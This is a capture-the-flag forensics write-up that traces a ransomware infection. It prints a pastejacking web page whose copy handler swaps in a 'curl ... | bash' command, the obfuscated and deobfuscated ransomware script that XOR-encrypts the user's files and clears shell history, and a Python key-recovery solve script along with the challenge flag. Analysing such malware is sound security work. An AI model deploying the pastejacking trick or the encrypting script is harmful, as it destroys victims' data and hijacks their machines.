Blind Infection 2
Overview

Blind Infection 2

November 28, 2022
3 min read
blind-infection-2

Blind Infection 2

Author
Battlemonger
Category
Forensics
Points
488
Solves
15
Files
chall.zip
Flag
SEKAI{D4R3_4CC3PT38_4N8_4U5T38}

Investigator: Here are your backups, but what about rest of your files?
Me: Umm…
Investigator: I’m gonna need more details regarding what exactly you were doing.

Warning

This payload contains ransomware. Consider using a fresh virtual machine, as you may risk losing your data. Although static analysis is safe (and the ransomware is user-triggered), proceed with caution.

We’ve managed to restore the contents of Documents/, but this user has unfortunately failed to backup Pictures/. To decrypt them, we need to know the encryption method used. As of now, we only have the plaintext and ciphertext from Part 1, which currently don’t prove that useful. We need more details.

The SQL Rabbit Hole

Continuing to scroll through browser history, near the end of the table we come across instances of the user searching about ‘virus’ and ‘virus remover’. This probably happened after the user’s files got encrypted. Looking at the URL visits just before this, we see that the user was downloading various rhythm game-related items, including osu! beatmaps and an .apk of Project Sekai. This rabbit hole eventually led to a string of suspicious websites — including https://sekaictf-tunes.netlify.app:

Screenshot of pure HTML page with a suspicious wget command

index.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<!-- Source - https://security.love/Pastejacking/ --> Download exclusive Sekai Music!!! <br>
<p>wget sekairhythms.com/epicmusic.zip</p>
<script>
document.addEventListener('copy', function(e) {
console.log(e);
e.clipboardData.setData('text/plain', 'curl https://storage.googleapis.com/sekaictf/Forensics/muhahaha.sh | bash');
e.preventDefault();
});
</script>
</body>
</html>

Check out this snippet above: instead of copying wget sekairhythms.com/epicmusic.zip, we end up actually copying curl https://storage.googleapis.com/sekaictf/Forensics/muhahaha.sh | bash, which is a malicious bash script.

This is the premise of the challenge. Never copy and paste code/commands from internet blindly! That’s where the challenge name comes from — “Blind Infection”!

This is a classic pastejacking attack. Let’s not copy it into the terminal and instead analyze the .sh file that’s curl’ed. Visit the original link to see the raw code:

muhahaha.sh
z="
";Uz='e da';Cz='----';QBz=' key';Wz='ou!!';FBz='open';NBz='s -r';nz='er/b';Jz=' gon';aBz='h_hi';tz='for ';Bz=' '\''--';PBz='le $';Rz='them';Pz=' '\''Br';Sz=' bac';Iz=' are';WBz='rm x';YBz='> ~/';Nz='ly!!';Qz='ing ';DBz='/*';ez='erco';vz=' in ';MBz='xor-';Oz='!'\''';UBz='xt';OBz=' $fi';Tz='k, W';pz='ies/';iz='ange';KBz='y.tx';Mz='nent';Yz=' -q ';CBz='ures';Lz='erma';cz='gith';cBz='y';Az='echo';JBz='> ke';lz='les/';wz='~/Do';BBz='Pict';Hz='iles';hz='m/sc';bBz='stor';uz='file';RBz='.txt';XBz=' '\'''\'' ';gz='t.co';yz='nts/';xz='cume';Zz='http';VBz='done';EBz='do';Gz='ur f';HBz='rand';kz='r-fi';ZBz='.bas';sz='or-f';Ez=' '\''Al';dz='ubus';bz='raw.';az='s://';oz='inar';LBz='t';Kz='e, p';ABz='* ~/';Xz='wget';Fz='l yo';SBz='rm k';GBz='ssl ';IBz=' 16 ';mz='mast';TBz='ey.t';Vz='re y';fz='nten';Dz='---'\''';jz='o/xo';qz='x86_';rz='64/x';
eval "$Az$Bz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Dz$z$Az$Ez$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$Nz$Oz$z$Az$Pz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Oz$z$Az$Bz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Dz$z$Xz$Yz$Zz$az$bz$cz$dz$ez$fz$gz$hz$iz$jz$kz$lz$mz$nz$oz$pz$qz$rz$sz$Hz$z$tz$uz$vz$wz$xz$yz$ABz$BBz$CBz$DBz$z$EBz$z$FBz$GBz$HBz$IBz$JBz$KBz$LBz$z$MBz$uz$NBz$OBz$PBz$uz$QBz$RBz$z$SBz$TBz$UBz$z$VBz$z$WBz$sz$Hz$z$Az$XBz$YBz$ZBz$aBz$bBz$cBz"

Looks like it’s obfuscated by defining a crap ton of environmental variables and evaluating the concatenated contents. To deobfuscate, simply change the eval term to echo to see what actually runs:

muhahaha.sh
echo '---------------------------------------------------------'
echo 'All your files are gone, permanently!!!'
echo 'Bring them back, We dare you!!!'
echo '---------------------------------------------------------'
wget -q https://raw.githubusercontent.com/scangeo/xor-files/master/binaries/x86_64/xor-files
for file in ~/Documents/* ~/Pictures/*
do
openssl rand 16 > key.txt
xor-files -r $file $file key.txt
rm key.txt
done
rm xor-files
echo '' > ~/.bash_history

Let’s do a quick analysis. This script:

  1. Downloads a binary quietly
  2. For each file in the Documents/ and Pictures/ folder, it:
    • Generates a 16-byte key
    • Performs a XOR operation with the key
    • Removes the key (meaning the key is different every time)
  3. Deletes the binary and clears the contents of ~/.bash_history

We now know a simple XOR was used to encrypt Pictures/. However, we don’t know the keys, and it would take until the heat death of the universe to brute force 16 bytes. Additionally, we can’t extract utilize known-plaintext attacks on Part 1 since each key is unique. We’ll need a different solution.

We know that:

  1. The files in Pictures/ are in the .png format
  2. XOR is reversible if we have a key
  3. We do not have a key readily available

But, there is a weakness! If we research a bit into the .png format, we learn that the first 16 bytes of a .png are always same:

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
Header Block IHDR Block

With this, we can XOR the first 16 bytes of each encrypted .png with this as the key to obtain the original, unique key. We can now decrypt each picture with this Python script:

solve.py
import os
import binascii
files = os.listdir('Pictures')
header = binascii.unhexlify(b'89504E470D0A1A0A0000000D49484452')
os.system('wget -q https://raw.githubusercontent.com/scangeo/xor-files/master/binaries/x86_64/xor-files')
for file in files:
path = 'Pictures/'+file
f = open(path,'rb').read()
first_16_bytes = f[:16]
key = b''
for i in range(len(header)):
key += chr(header[i]^first_16_bytes[i]).encode('iso-8859-1')
with open('key.txt','wb') as k:
k.write(key)
os.system('xor-files -r '+path+' '+path+' key.txt')
os.system('rm key.txt')
os.system('rm xor-files')

Use the strings command on flag.png to flag the challenge.